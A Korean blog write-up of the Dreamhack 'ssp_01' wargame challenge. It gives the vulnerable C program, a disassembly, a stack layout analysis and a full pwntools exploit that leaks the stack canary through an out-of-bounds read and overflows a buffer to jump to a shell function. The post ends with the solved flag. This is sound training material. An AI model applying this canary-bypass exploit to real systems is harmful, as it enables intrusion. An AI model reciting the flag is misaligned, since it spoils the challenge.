Hacking/Dremahack 문제풀이

[ Dreamhack ] ssp_01

미역줄기줄기 2024. 2. 8. 20:31
728x90

 

문제코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

get_shell()함수에서 /bin/sh을 실행할 수 있으니까 get_shell()함수의 주소만 알면 내가 별도의 shellcode를 쓸 일은 없을 듯하다.

 

box, name에는 0x40(64바이트)을 할당했다.  select는 2바이트를 할당했고 idx와 name_len은 초기화되어있는 상태이다.

취약점이 발생할만한 곳은

  1. case P에선 box의 index에 맞는 값을 출력해준다. 여기서 box값을 넘어서는 값도 출력이 가능하므로 여기서 canary값을 알아낼 수 있다.
  2. case E에선 name_len만큼 name을 read할 수 있게 해놓았으므로 스택 버퍼 오버플로우가 가능하다.

 

본격적인 분석 전에 checksec을 해보자!

 

i386: 32비트 x86아키텍쳐

32: 32비트 시스템을 사용한다

little: 리틀 엔디안 방식을 사용한다.

Stack에는 Canary가 있다.

 

x86아키텍쳐에서는 4바이트의 canary가 생성된다, 그리고 Null 바이트가 있으니 3바이트라고 생각하면 된다.

main을 디스어셈블 해보자

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804872b <+0>:    push   ebp
   0x0804872c <+1>:    mov	ebp,esp
   0x0804872e <+3>:    push   edi
=> 0x0804872f <+4>:    sub	esp,0x94
   0x08048735 <+10>:    mov	eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:    mov	DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:    mov	eax,gs:0x14
   0x08048744 <+25>:    mov	DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:    xor	eax,eax
   0x08048749 <+30>:    lea	edx,[ebp-0x88]
   0x0804874f <+36>:    mov	eax,0x0
   0x08048754 <+41>:    mov	ecx,0x10
   0x08048759 <+46>:    mov	edi,edx
   0x0804875b <+48>:    rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:    lea	edx,[ebp-0x48]
   0x08048760 <+53>:    mov	eax,0x0
   0x08048765 <+58>:    mov	ecx,0x10
   0x0804876a <+63>:    mov	edi,edx
   0x0804876c <+65>:    rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:    mov	WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:    mov	DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:    mov	DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:    call   0x8048672 <initialize>
   0x08048790 <+101>:    call   0x80486f1 <menu>
   0x08048795 <+106>:    push   0x2
   0x08048797 <+108>:    lea	eax,[ebp-0x8a]
   0x0804879d <+114>:    push   eax
   0x0804879e <+115>:    push   0x0
   0x080487a0 <+117>:    call   0x80484a0 <read@plt>
   0x080487a5 <+122>:    add	esp,0xc
   0x080487a8 <+125>:    movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:    movsx  eax,al
   0x080487b2 <+135>:    cmp	eax,0x46
   0x080487b5 <+138>:    je 	0x80487c6 <main+155>
   0x080487b7 <+140>:    cmp	eax,0x50
   0x080487ba <+143>:    je 	0x80487eb <main+192>
   0x080487bc <+145>:    cmp	eax,0x45
   0x080487bf <+148>:    je 	0x8048824 <main+249>
   0x080487c1 <+150>:    jmp	0x804887a <main+335>
   0x080487c6 <+155>:    push   0x804896c
   0x080487cb <+160>:    call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:    add	esp,0x4
   0x080487d3 <+168>:    push   0x40
   0x080487d5 <+170>:    lea	eax,[ebp-0x88]
   0x080487db <+176>:    push   eax
   0x080487dc <+177>:    push   0x0
   0x080487de <+179>:    call   0x80484a0 <read@plt>
   0x080487e3 <+184>:    add	esp,0xc
   0x080487e6 <+187>:    jmp	0x804887a <main+335>
   0x080487eb <+192>:    push   0x8048979
   0x080487f0 <+197>:    call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:    add	esp,0x4
   0x080487f8 <+205>:    lea	eax,[ebp-0x94]
   0x080487fe <+211>:    push   eax
   0x080487ff <+212>:    push   0x804898a
   0x08048804 <+217>:    call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:    add	esp,0x8
   0x0804880c <+225>:    mov	eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:    push   eax
   0x08048813 <+232>:    lea	eax,[ebp-0x88]
   0x08048819 <+238>:    push   eax
   0x0804881a <+239>:    call   0x80486cc <print_box>
   0x0804881f <+244>:    add	esp,0x8
   0x08048822 <+247>:    jmp	0x804887a <main+335>
   0x08048824 <+249>:    push   0x804898d
   0x08048829 <+254>:    call   0x80484b0 <printf@plt>
   0x0804882e <+259>:    add	esp,0x4
   0x08048831 <+262>:    lea	eax,[ebp-0x90]
   0x08048837 <+268>:    push   eax
   0x08048838 <+269>:    push   0x804898a
   0x0804883d <+274>:    call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:    add	esp,0x8
   0x08048845 <+282>:    push   0x804899a
   0x0804884a <+287>:    call   0x80484b0 <printf@plt>
   0x0804884f <+292>:    add	esp,0x4
   0x08048852 <+295>:    mov	eax,DWORD PTR [ebp-0x90]
   0x08048858 <+301>:    push   eax
   0x08048859 <+302>:    lea	eax,[ebp-0x48]
   0x0804885c <+305>:    push   eax
   0x0804885d <+306>:    push   0x0
   0x0804885f <+308>:    call   0x80484a0 <read@plt>
   0x08048864 <+313>:    add	esp,0xc
   0x08048867 <+316>:    mov	eax,0x0
   0x0804886c <+321>:    mov	edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:    xor	edx,DWORD PTR gs:0x14
   0x08048876 <+331>:    je 	0x8048884 <main+345>
   0x08048878 <+333>:    jmp	0x804887f <main+340>
   0x0804887a <+335>:    jmp	0x8048790 <main+101>
   0x0804887f <+340>:    call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:    mov	edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:    leave  
   0x08048888 <+349>:    ret    
End of assembler dump.

사용자의 입력을 받는 부분만 추려보면

main_117 read select 입력 ebp-0x8a에 저장
main+179 read box 입력 ebp-0x88에 저장
main+217 scanf idx 입력 ebp-0x94에 저장
main+274 scnaf name size 입력 ebp-0x90에 저장
main+308 read name입력 ebp-0x48에 저장

 

이렇다. 이걸 토래도 스택의 구조를 짐작해서 그려보면 

이렇게 생겼을 것이다. 근데 name이 ebp로부터 0x48이 떨어져있는데 canary 값이 4바이트이니까.. 이러면 0x2c인데 그게 아니라 0x48이니까  canary 이후에 더미값 4바이트가 더 존재하는 것 같다. 

 

 

 


시나리오

1. P에 4번 접근해서 box의 인덱스로 4바이트의 canary 값을 가져온다.

2. E에서 버퍼오버플로우를 통해 ret까지 덮어쓴다.

3. payload = 0x40 더미값 + canary + 0x08 더미값 + get_shell()의 주소 

 

get_shell()의 주소는 0x080486b9이다.

 

from pwn import*

p = remote("host3.dreamhack.games", 14807)
context.arch = "i386"

get_shell=p32(0x080486b9)

p.sendlineafter('>', 'F')
p.sendlineafter('box input : ', 'A'*0x40)

idx=128
cnry=b''

for i in range(4):
   p.sendlineafter('> ', 'P')
   p.sendlineafter("Element index : ", str(idx+i))
   p.recvuntil("is : ")
   cnry=p.recvuntil('\n')[0:2] +cnry

cnry = int(cnry,16)

p.sendlineafter(">", "E")

payload = b'A'*0x40 + p32(cnry) + b'B'*0x08 + get_shell

p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)


p.interactive()

box input: 이렇게 했다가 계속 오류나서 삽질 오지게 하다가.. box input : 라는 사실을 알고 수정.. 띄어쓰기 잘하자..

 

canary = p.recvuntil('\n')[0:2] + canary 여기서 [0:2] 이 부분은 첫 번째 문자부터 두 번째 문자까지를 의미한다. 사용한 이유는 16진수 값이 두 자리로 고정되도록 하는데에 있다. 16진수의 자리는 4비트씩 표현되므로 두 자리의 16진수는 8비트 = 1바이트를 나타낸다. 

 

그러니까. canary를 한 바이트씩 4번 가져오겠다는 말.

 

 

flag: DH{00c609773822372daf2b7ef9adbdb824}